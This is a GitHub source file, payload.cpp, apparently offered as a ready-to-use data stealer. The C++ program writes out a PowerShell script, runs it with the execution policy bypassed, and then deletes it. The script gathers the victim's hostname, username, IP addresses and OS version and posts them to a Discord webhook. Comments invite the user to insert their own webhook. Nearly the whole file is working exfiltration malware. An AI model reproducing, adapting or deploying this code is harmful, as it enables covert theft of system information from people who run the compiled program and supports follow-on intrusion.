-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpayload.cpp
More file actions
45 lines (35 loc) · 1.81 KB
/
payload.cpp
File metadata and controls
45 lines (35 loc) · 1.81 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// note: sometimes the compiled code must be ran from desktop
#include <iostream>
#include <fstream>
#include <cstdlib>
int main() {
/*
upfollowing powershell code
can be edited and adjusted
to your preferences
*/
const std::string psScript =
"$url = \"https://discord.com/api/webhooks/blahblahblah\";\n"
/*
replace the webhook above with your custom own one
*/
"$hostname = $env:COMPUTERNAME;\n"
"$username = $env:USERNAME;\n"
"$ipv4 = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object { $_.InterfaceAlias -notlike \"*Loopback*\" }).IPAddress;\n"
"$os = (Get-WmiObject Win32_OperatingSystem).Caption;\n"
"$userAgent = \"PowerShell/$(($PSVersionTable.PSVersion).ToString()) ($os)\";\n"
"$payload = @{ content = \"**System Information Report**\"; embeds = @(@{ title = \"Extracted System Info\"; color = 16711680; fields = @(@{ name = \"Hostname\"; value = $hostname; inline = $true }, @{ name = \"Username\"; value = $username; inline = $true }, @{ name = \"IPv4 Address\"; value = ($ipv4 -join \", \"); inline = $true }, @{ name = \"OS Version\"; value = $os; inline = $true }, @{ name = \"User-Agent\"; value = $userAgent; inline = $false }) }) };\n"
"$payload = $payload | ConvertTo-Json -Depth 10 -Compress;\n"
"Write-Output $payload;\n"
"Invoke-RestMethod -Uri $url -Method Post -Body $payload -ContentType \"application/json\";";
std::ofstream psFile("test.ps1");
if (!psFile.is_open()) {
std::cerr << "failed" << std::endl;
return 1;
}
psFile << psScript;
psFile.close();
system("powershell -NoProfile -ExecutionPolicy Bypass -File test.ps1");
std::remove("test.ps1");
return 0;
}